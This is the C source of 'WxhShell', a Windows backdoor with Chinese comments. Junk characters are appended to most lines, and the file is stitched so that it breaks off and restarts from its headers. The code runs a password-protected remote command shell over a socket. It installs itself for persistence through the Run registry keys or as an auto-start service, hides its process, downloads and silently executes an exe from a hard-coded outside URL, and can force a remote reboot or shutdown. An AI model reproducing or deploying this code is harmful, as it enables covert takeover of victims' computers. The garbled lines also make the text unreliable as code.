    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,kgF2K!  
    else { =ex'22  
    closesocket(wsh);  l>v{  
    ExitThread(0); ?G? gy2  
    } #\bP7a +  
    break; 8G ]w,eF  
    } &HM-g7|C0E  
  // 获取shell *(cU]NUH_  
  case 's': { 0>!/rR7  
    CmdShell(wsh); v&3O&y/1v  
    closesocket(wsh); ,M3z!=oIGn  
    ExitThread(0); H:a|x#"  
    break; ' eO/PnYW  
  } !k~z5z'=py  
  // 退出 2r ];V'r  
  case 'x': { bO49GEUT _  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #  nfI%  
    CloseIt(wsh); {4ptu~8  
    break;  d^39t4  
    } ;Mj002.\G  
  // 离开 {@M14)-x>_  
  case 'q': { /hdf{4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {TZE/A3D,  
    closesocket(wsh); b"8FlZ$  
    WSACleanup(); F ,G,b  
    exit(1); um8AdiK  
    break; )-&nxOP  
        } jeDlH6X'  
  } QJ];L7Hbo  
  } {e]NU<G ,  
i=QqB0  
  // 提示信息 \Tq "mw9P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MWq$AK]  
} PW_`qP:  
  } Sa] mm/ G  
) YSh D  
  return; ;]&-MFv#  
} R @r{  
]+IVSxa!u  
// shell模块句柄 X Usy.l/  
int CmdShell(SOCKET sock) 4/L>&%8V  
{ <`JG>H*B6  
STARTUPINFO si; `=!p$hg($  
ZeroMemory(&si,sizeof(si)); WbzA Jx 5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pi%tsKk%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ,o&<WMD  
PROCESS_INFORMATION ProcessInfo; T|f_~#?eV  
char cmdline[]="cmd"; P,1exgq9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -fM1$/]  
  return 0; C MqM;1  
} silp<13HN  
%)IrXz>Zh  
// 自身启动模式 R+^zy"~  
int StartFromService(void) (^S5Sc=  
{ ,#%SK;1<  
typedef struct OQ| ,-  
{ gY\mXM*^  
  DWORD ExitStatus; {@\/a  
  DWORD PebBaseAddress; B_@7IbB  
  DWORD AffinityMask; wrK#lh2  
  DWORD BasePriority; Y?.gfEXSQo  
  ULONG UniqueProcessId; jmPp-} tS7  
  ULONG InheritedFromUniqueProcessId; [Ye5Y?  
}   PROCESS_BASIC_INFORMATION; rHo6iJj  
14u^[M" U  
PROCNTQSIP NtQueryInformationProcess; ZW2s[p r  
Fs9W>*(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3dU#Ueu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6+#,=!hF{  
ypT9 8  
  HANDLE             hProcess; Jh(mbD  
  PROCESS_BASIC_INFORMATION pbi; |bvGYsn_#=  
a?\ `  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F$C+R&V_  
  if(NULL == hInst ) return 0; Ds G !S*  
E$&;]a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `NoCH[$!+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q5T(nEA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); " xxXZGUp  
wJr/FE 7c  
  if (!NtQueryInformationProcess) return 0; ~:s!].H  
bF7`] 83  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vg) ^|  
  if(!hProcess) return 0; j~Ff/ O  
'U*udkn 2]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7Fc |  
Z_!9iA:X  
  CloseHandle(hProcess); td`wNy\  
I$F\(]"@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s!=!A  
if(hProcess==NULL) return 0; @]yQJuXA&Z  
9`E-dr9  
HMODULE hMod; L7[X|zmy*x  
char procName[255]; ar=hx+  
unsigned long cbNeeded; }" g@E-]N  
g')?J<z   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6l=M;B7:i  
:nTkg[49pJ  
  CloseHandle(hProcess); ~mW>_[RT;  
EywZIw?mjX  
if(strstr(procName,"services")) return 1; // 以服务启动 Psg +\14  
X{4xm,B/  
  return 0; // 注册表启动 Y~<rQ  
} wP+'04H0  
]IL3$eR  
// 主模块 #`2GAM];7  
int StartWxhshell(LPSTR lpCmdLine) I(F1S,7  
{ 30e(4@!4vW  
  SOCKET wsl; aj% `x4e A  
BOOL val=TRUE; 1Q3%!~<\s  
  int port=0; 5Xla_@WLW  
  struct sockaddr_in door; 2I9{+>k  
}P7xdQ6  
  if(wscfg.ws_autoins) Install(); ^?JEyY  
8j({=xbg&  
port=atoi(lpCmdLine); z2$F Yn Q  
:6qUSE  
if(port<=0) port=wscfg.ws_port; )3d:S*ly  
k)o7COx  
  WSADATA data; >7eu'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zm?G'06  
t(Cq(.u`:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <L[  *hp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e /ppZ>  
  door.sin_family = AF_INET; 1mkQ"E4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &ij^FAM  
  door.sin_port = htons(port); #0#V$AA>  
E}E7VQjM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -#:Y+"'  
closesocket(wsl); E$oA+n~  
return 1; kY0g}o'<  
} s7X~OF(#  
A_8`YN"Xk  
  if(listen(wsl,2) == INVALID_SOCKET) { w96j,rEC  
closesocket(wsl); ]ys4  
return 1; ^[SbV^DOL  
} F\YcSDM  
  Wxhshell(wsl); ahz@HX  
  WSACleanup(); (>kBmK1Aj  
+$an*k9  
return 0; bE%mgaOh  
lu9Ir>c  
} "J0Oa?  
WL*W=(  
// 以NT服务方式启动  G> 5=`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7m@^=w  
{ 1f bFNxo8M  
DWORD   status = 0; E2ayK> ,  
  DWORD   specificError = 0xfffffff; 3IRRFIiO  
t8wz'[z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OM#OPB rB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yQQDGFTb!=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  Cq~ah  
  serviceStatus.dwWin32ExitCode     = 0; +A&IxsTq5=  
  serviceStatus.dwServiceSpecificExitCode = 0; *X =f  
  serviceStatus.dwCheckPoint       = 0; OD2ai]!v+  
  serviceStatus.dwWaitHint       = 0; lpX p )r+  
J.+?*hcw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JJZXSBAOU  
  if (hServiceStatusHandle==0) return; [F9KC^%S  
5IB:4zx^h  
status = GetLastError(); `'tw5}  
  if (status!=NO_ERROR) %<#$:Qb.  
{ 0e5-\a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7l|>  
    serviceStatus.dwCheckPoint       = 0; 8b#Yd  
    serviceStatus.dwWaitHint       = 0;  PtVNG  
    serviceStatus.dwWin32ExitCode     = status; :4L5@>b-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZJJl944  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e7j]BzGvl  
    return; |@n{tog+-  
  } ch2e#Jf8  
F|3FvxA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8T1DcA*  
  serviceStatus.dwCheckPoint       = 0; 7=ga_2  
  serviceStatus.dwWaitHint       = 0; S:GUR6g8D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4~D>oNx4  
} b<H6 D}  
HjY-b*B  
// 处理NT服务事件,比如:启动、停止 -gX2{dW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '9F{.]  
{ n N]vu  
switch(fdwControl)  ,IvnNnl2  
{ 'C?f"P:X{  
case SERVICE_CONTROL_STOP: 6+d"3-R.  
  serviceStatus.dwWin32ExitCode = 0; $T%<'=u|E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %'~<:>:"E  
  serviceStatus.dwCheckPoint   = 0; ;s/b_RN  
  serviceStatus.dwWaitHint     = 0; YQ`#C #Wb  
  { JFk|Uqs(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ).`a-Pv  
  } Z*Hxrw\!0  
  return; <rI$"=7  
case SERVICE_CONTROL_PAUSE: gkn/E}K#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4uVmhjT:X  
  break; v{*X@)$  
case SERVICE_CONTROL_CONTINUE: >^ 1S26  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )BTs *7 j  
  break; 5J#g JFA  
case SERVICE_CONTROL_INTERROGATE: 7[<sl35  
  break; >-o:> 5  
}; *b l{F\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KX}dn:;(3  
} 8BH)jna`Qo  
i/EiUH/~  
// 标准应用程序主函数 A;nmua-Fv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  /lok3J:  
{ `hf9rjy4  
BW\5RIWwE5  
// 获取操作系统版本 v@s`l#  
OsIsNt=GetOsVer(); tU2;Wb!Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @Lv_\^2/}  
'\YhRU  
  // 从命令行安装 hLD;U J?S  
  if(strpbrk(lpCmdLine,"iI")) Install(); q5?mP6   
&rWJg6/  
  // 下载执行文件 nhhJUN?8  
if(wscfg.ws_downexe) { Y6DiISl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M#2U'jy  
  WinExec(wscfg.ws_filenam,SW_HIDE); LZ]pyoi  
} fy4JW,c  
I}A#*iD  
if(!OsIsNt) { k<hO9;#qpL  
// 如果时win9x,隐藏进程并且设置为注册表启动 5|t&qUV  
HideProc(); #,{v Js~  
StartWxhshell(lpCmdLine); .Vjpkt:H  
} Q>*K/%KD  
else /7)G"qG~F~  
  if(StartFromService()) }X:r:{r  
  // 以服务方式启动 x G"p .  
  StartServiceCtrlDispatcher(DispatchTable); | lfPd  
else yiA\$mtO  
  // 普通方式启动 8rNxd=!  
  StartWxhshell(lpCmdLine); )pH{b]t  
Gukq}ZQd  
return 0; =S +:qk  
} -e\kIK %  
.8~ x;P6  
t!N >0]:mo  
5Ozj&Zq  
=========================================== (o=iX,@'2  
_{);n$`  
\MPy"uC  
:9qB{rLi}  
T^>cT"ux_  
T^SOq:m&  
" PrxXL/6  
014!~c  
#include <stdio.h> O-YE6u  
#include <string.h> ^PszZ10T  
#include <windows.h> zqn*DbT  
#include <winsock2.h> A;PV,2|X  
#include <winsvc.h> 9r}} m0  
#include <urlmon.h> l6O(+*6Us  
s5@^g8(+C  
#pragma comment (lib, "Ws2_32.lib") Hu.d^@V  
#pragma comment (lib, "urlmon.lib") (Zkt2[E`  
]F! ,Jx  
#define MAX_USER   100 // 最大客户端连接数 [rem,i+  
#define BUF_SOCK   200 // sock buffer W=+ag<@  
#define KEY_BUFF   255 // 输入 buffer 3]A'C&  
p};<l@  
#define REBOOT     0   // 重启 y6\#{   
#define SHUTDOWN   1   // 关机 7IR n  
NU"X*g-x^  
#define DEF_PORT   5000 // 监听端口 elQ44)TrQ  
>EG;2]M&  
#define REG_LEN     16   // 注册表键长度 4BX*-t  
#define SVC_LEN     80   // NT服务名长度 u)ItML  
6iOAYA=  
// 从dll定义API NO)* UZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r\?*?sL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3@SfCG&|e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -)/>qFj )  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .7q#{`K^=  
F{S.f1Bsp  
// wxhshell配置信息 Fej$`2mRH  
struct WSCFG { B Xp3u|t  
  int ws_port;         // 监听端口 dx#N)?  
  char ws_passstr[REG_LEN]; // 口令 ;#*mB`  
  int ws_autoins;       // 安装标记, 1=yes 0=no l1msXBC  
  char ws_regname[REG_LEN]; // 注册表键名 ]|oqJ2P  
  char ws_svcname[REG_LEN]; // 服务名 W\/0&H\i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [dUEe@P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _*_zyWW_j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sz5@=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;6Z?O_zp4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H}X"yLog*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WO^h\#^n  
UA^E^$f:  
}; i*3_ivc)  
[(1O_X(M  
// default Wxhshell configuration ["z$rk  
struct WSCFG wscfg={DEF_PORT, B dSTB"  
    "xuhuanlingzhe", +KZc"0?  
    1,  GY>0v  
    "Wxhshell", H]-nm+  
    "Wxhshell", g`6S*&8I  
            "WxhShell Service", (NP=5lLH  
    "Wrsky Windows CmdShell Service", =1D*K%  
    "Please Input Your Password: ", V6c?aZ,O  
  1, *i|hcDk  
  "http://www.wrsky.com/wxhshell.exe", j_Fr3BWS  
  "Wxhshell.exe" ezL*YM8?@  
    }; r&#q=R},p  
@{j-B IRZ0  
// 消息定义模块 UV=TU=A\o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8`+X6iZOQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kG{(Qi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d(&vIjy  
char *msg_ws_ext="\n\rExit."; 'lWNU   
char *msg_ws_end="\n\rQuit."; *J6qL! ["  
char *msg_ws_boot="\n\rReboot..."; 8<P.>u  
char *msg_ws_poff="\n\rShutdown..."; "l!"gc87  
char *msg_ws_down="\n\rSave to "; HtMlSgx,8>  
q.*qZ\;K  
char *msg_ws_err="\n\rErr!"; `ul"D%  
char *msg_ws_ok="\n\rOK!"; &#WTXTr0=  
r`lgK2r\  
char ExeFile[MAX_PATH]; A!NT 2YdHZ  
int nUser = 0; 2)G ZU  
HANDLE handles[MAX_USER]; 8s|r'  
int OsIsNt;  /8.;  
1~j.jv$  
SERVICE_STATUS       serviceStatus; Q_ $AGF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'oo]oeJ-  
\4V'NTjB  
// 函数声明 W2REwUps  
int Install(void); 4*'NpqC(_  
int Uninstall(void); 7FWf,IjcGY  
int DownloadFile(char *sURL, SOCKET wsh); S6cSeRmw  
int Boot(int flag); ,u$$w  
void HideProc(void); |%$d/<<PZ  
int GetOsVer(void); p/@z4TCNX  
int Wxhshell(SOCKET wsl); VGTo$RH  
void TalkWithClient(void *cs); Y~Zg^x2  
int CmdShell(SOCKET sock); |GIT{_JE  
int StartFromService(void); +1e*>jE  
int StartWxhshell(LPSTR lpCmdLine); 7m8L!t9  
=\`9\Gd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sW[42A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XfB;^y=u8  
Dt8eVWkN~  
// 数据结构和表定义 GlVq<RG*  
SERVICE_TABLE_ENTRY DispatchTable[] = IN_GL18^MV  
{ brZ3T`p+.P  
{wscfg.ws_svcname, NTServiceMain}, S7-?&[oeJ  
{NULL, NULL} w:pc5N>we0  
}; W&G DE  
d d8^V_Kx  
// 自我安装 F*} b),  
int Install(void) !1|f,9C  
{ K{HdqmxL.I  
  char svExeFile[MAX_PATH]; P^+Og_$  
  HKEY key; 7v1}8Uk  
  strcpy(svExeFile,ExeFile); tw^V?4[Miu  
z^ ~fVl  
// 如果是win9x系统,修改注册表设为自启动 0M pX.0  
if(!OsIsNt) { (gz|6N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V5R``T p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uI.4zbgl[  
  RegCloseKey(key); ] 5c|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k5W5 9tz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g`\Vy4w  
  RegCloseKey(key); .] 5&\  
  return 0; >[ywrB ?T  
    } ;sb0,2YyP  
  } R0{+Xd  
} iQ~cG[6  
else { {{:MJ\_"h_  
yU&A[DZQ  
// 如果是NT以上系统,安装为系统服务 UI |D?z<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2qw~hWX  
if (schSCManager!=0) 1 BVivEG  
{ lAV6z%MmM  
  SC_HANDLE schService = CreateService  Ws}u4t  
  ( =v1s@5 ;~  
  schSCManager, Z5_MSPm  
  wscfg.ws_svcname, Kq{9 :G  
  wscfg.ws_svcdisp, QR<IHE{~8  
  SERVICE_ALL_ACCESS, /\h&t6B1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =OTwP  
  SERVICE_AUTO_START, 2= u5N[*  
  SERVICE_ERROR_NORMAL, 6SW:'u|90  
  svExeFile, oQFpIX;\m  
  NULL, (~,Q-w"  
  NULL, RVX-3FvP  
  NULL, *m2J$9q  
  NULL, >lN{FJ  
  NULL q48V|6X'q  
  ); 7teg*M{  
  if (schService!=0) wIL5-k,  
  { X2T)]`@  
  CloseServiceHandle(schService); "?n~ /9`  
  CloseServiceHandle(schSCManager); `fc2vaSH =  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h5.u W8  
  strcat(svExeFile,wscfg.ws_svcname); `QAotSO+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WZ;f3 "  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g@KS\.m]  
  RegCloseKey(key); [u=b[(  
  return 0; A1>R8Zuhy  
    } _D[vMr[  
  } |Zncr9b  
  CloseServiceHandle(schSCManager); sf@g $  
} K%$%9y  
} bsR&%C  
hyVuZ\9B  
return 1; #*1\h=bzmW  
} mS0*%[S {  
>Ix)jSNLgo  
// 自我卸载 7-Fh!=\f/  
int Uninstall(void) b:Wl B[5  
{ %v4/.4sR,;  
  HKEY key; V<?t( _Y  
_Z@- q  
if(!OsIsNt) { ~;3N'o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *GTCVxu  
  RegDeleteValue(key,wscfg.ws_regname); /t(dhz&xN  
  RegCloseKey(key); a<rk'4,8a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $@7S+'Q3  
  RegDeleteValue(key,wscfg.ws_regname); 7.hn@_  
  RegCloseKey(key); Z~9\7QJn  
  return 0; w<tr<Pu'  
  } wBA[L}  
} Ud\Jc:DG  
} YJ_LD6PL9  
else { P}KyT?X:  
Wu,'S;>C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tmg~ZI:MW  
if (schSCManager!=0) qWfG@hn  
{ $7T3wv9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~ubGx  
  if (schService!=0) U(3{6^>Gc  
  { 1ZOHyO  
  if(DeleteService(schService)!=0) { JD^(L~n]  
  CloseServiceHandle(schService); % tN{  
  CloseServiceHandle(schSCManager); w<| ^i*  
  return 0; >u4%s7 v  
  } 2n2{Oy>L  
  CloseServiceHandle(schService); hp@g iu7  
  } /0uZ(F|>I  
  CloseServiceHandle(schSCManager); W8'cAY  
} Ont4-AP   
} &s>HiL>f  
D ?1$I0=  
return 1; pE[ul  
} ?a+tL'D[  
(A}##h  
// 从指定url下载文件 FYFP 6ti  
int DownloadFile(char *sURL, SOCKET wsh) =cs;avtL  
{ ]!E|5=q  
  HRESULT hr; !?`5r)K  
char seps[]= "/"; 559znM=  
char *token; cor?#  
char *file; n4h@{Xg  
char myURL[MAX_PATH]; }nvH Eo  
char myFILE[MAX_PATH]; 5 P9hm[  
Vv~rgNh  
strcpy(myURL,sURL); K, ae-#wgb  
  token=strtok(myURL,seps); Iw(deD  
  while(token!=NULL) "gADHt=MIR  
  { ZRf-V9  
    file=token; C\Qor3];  
  token=strtok(NULL,seps); <03@cs  
  } L1D{LzlBti  
j(HC^\Hi  
GetCurrentDirectory(MAX_PATH,myFILE); M;V (Tf  
strcat(myFILE, "\\"); Z"<aS&GH  
strcat(myFILE, file); I8;pMr6  
  send(wsh,myFILE,strlen(myFILE),0); awQ f$  
send(wsh,"...",3,0); U$@p"F@P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @C{IgV  
  if(hr==S_OK) x48Y#"'  
return 0; /-Y*V*E  
else 7d*SZmD  
return 1; .9_]8 T  
uh*b[`e  
}  +ulBy  
L!x7]g,^  
// 系统电源模块 Mt(wy%{zK  
int Boot(int flag) KY9sa/xO  
{ Y O;N9wu3f  
  HANDLE hToken; ?}\aG3_4  
  TOKEN_PRIVILEGES tkp; "z)dz,&T  
<GC<uB |p  
  if(OsIsNt) { Me;@/;c(   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /~)vma1<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J;,6ydf8!  
    tkp.PrivilegeCount = 1; j38>,9u,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )F4H'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4 :RL[;  
if(flag==REBOOT) { m:CiXM   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <yz)iCU?  
  return 0; !7 "-9n  
} Is&z~Xy/  
else { pMnkh}Q#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,TPNsz|Q  
  return 0; mk.:V64 >;  
} 2mN>7Tj:  
  } 8mI eW  
  else { pt.0%3  
if(flag==REBOOT) { dmI,+hHtL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W8+Daw1Nr  
  return 0; Se7NF@>9_  
} OBaG'lrZy  
else { (oO*|\9u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }UNRe]ft$  
  return 0; ^vmT=f;TM  
} Njsz=  
} [u\E*8  
Q/&H3N  
return 1; gBfYm  
} rM<|<6(L  
M7!>-P  
// win9x进程隐藏模块 E/z^~;KA  
void HideProc(void) gp'9Pf;\[  
{ fQ c%a1'  
U/'"w v1y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }z:g}".4  
  if ( hKernel != NULL ) Z ? `  
  { mpfc2>6Il.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ={,\6a|]:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PhL}V|W>  
    FreeLibrary(hKernel); _|qJ)gD[  
  } tj/X 7|  
[mX/]31  
return; Z]f_? @0  
} Y^DS~CrM  
7pH`"$  
// 获取操作系统版本 {`5Sh1b  
int GetOsVer(void) `t_S uZ`V  
{  x~p8Mcv  
  OSVERSIONINFO winfo; ) *Mr{`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H0<(j(JK  
  GetVersionEx(&winfo); <>JN&#3?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h?E[28QB  
  return 1; 6\>S%S2:  
  else T(t@[U2^  
  return 0; Pf&\2_H3s9  
} %xZYIY Kf  
-U/"eVM  
// 客户端句柄模块 s;V~dxAiv  
int Wxhshell(SOCKET wsl) V|GH4DT=  
{ eF+:w:\h  
  SOCKET wsh; d 7vD  
  struct sockaddr_in client; G|eY$5!i  
  DWORD myID; H]&a}WQ_  
N~7xj?  
  while(nUser<MAX_USER) 7PQ03dtfg  
{ KwGk8$ U  
  int nSize=sizeof(client); Yd]y`J?#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7u[U%yd  
  if(wsh==INVALID_SOCKET) return 1; b[&A,ZPh$@  
uY jE)"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O[ tD7 !1  
if(handles[nUser]==0) 9gNQ,c \gT  
  closesocket(wsh); xs+pCK|  
else zbQ-l1E  
  nUser++; /d;C)%$  
  } ]7<}EG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~aKM+KmtPH  
>YP6/w,e  
  return 0; wdS4iQD  
} G.v zz-yG  
g<C_3ap/  
// 关闭 socket k?r -%oJ7  
void CloseIt(SOCKET wsh) <T]BSQk  
{ 8!8 yA  
closesocket(wsh); {OFbU  
nUser--; /ZC/yGdIS_  
ExitThread(0); \@G 7Kk*l  
} Gk~QgD/Pix  
@JJ,$ ?  
// 客户端请求句柄 "^sh:{  
void TalkWithClient(void *cs) QwF\s13  
{ kU uDA><1  
)qXl8HI  
  SOCKET wsh=(SOCKET)cs; \:>GF-Z(  
  char pwd[SVC_LEN]; ]O%wZIp\P  
  char cmd[KEY_BUFF]; ODS8bD0!i  
char chr[1]; dnRS$$9#  
int i,j; K)NB{8 _  
M0Eq 7:Ba  
  while (nUser < MAX_USER) { /u hA\m(  
s?qRy 2  
if(wscfg.ws_passstr) { tG!ApL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T-" zK r!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O>8|Lc  
  //ZeroMemory(pwd,KEY_BUFF); 61qs`N=k  
      i=0; bbGSh|u+P  
  while(i<SVC_LEN) { h7],/? s  
kR+xInDM*  
  // 设置超时 w8MQA!=l  
  fd_set FdRead; NBLiwL37{  
  struct timeval TimeOut; *g0}pD;r  
  FD_ZERO(&FdRead); _8*}S=  
  FD_SET(wsh,&FdRead); +|Tz<\.C  
  TimeOut.tv_sec=8; P''5A6#5  
  TimeOut.tv_usec=0; %}< e;t-O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t(<^of:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cvoE4&m!  
f?KHp|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +w'"N  
  pwd=chr[0]; n-HQk7=mQ  
  if(chr[0]==0xd || chr[0]==0xa) { WCa>~dF>  
  pwd=0; I` `S%`h  
  break; _e2=BE`W)  
  } aT9+] Ig  
  i++; 977%9z<h  
    } N)F&c!anh  
=bn(9Gm!J  
  // 如果是非法用户,关闭 socket 5AX AIPn)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _G$SA-W(  
} G~$.Af!9W  
x2q6y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J%8M+!`F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wjJM\BKr`  
hDO\Q7  
while(1) {  O=,[u?  
z%lu%   
  ZeroMemory(cmd,KEY_BUFF); P}YtT3. K  
].=~C"s,a  
      // 自动支持客户端 telnet标准   kTC'`xv  
  j=0; % oPt],>  
  while(j<KEY_BUFF) { bc+~g>o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @W4tnM,#  
  cmd[j]=chr[0]; tHhau.!  
  if(chr[0]==0xa || chr[0]==0xd) { 'H19@b5rx  
  cmd[j]=0; ]xx}\k  
  break; cst}/8e  
  } h/)kd3$*'  
  j++; :i{Svb*_'  
    } -qI8zs$:5  
k-:wM`C  
  // 下载文件  X.q,  
  if(strstr(cmd,"http://")) { J AQ y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :.k1="H~@  
  if(DownloadFile(cmd,wsh)) `Z#0kpXk_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fbTq?4&Q  
  else ?S*Cvr+=4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 5%WjO  
  } K@f@vyw]  
  else { N$!aP/b  
y ;\m1o2  
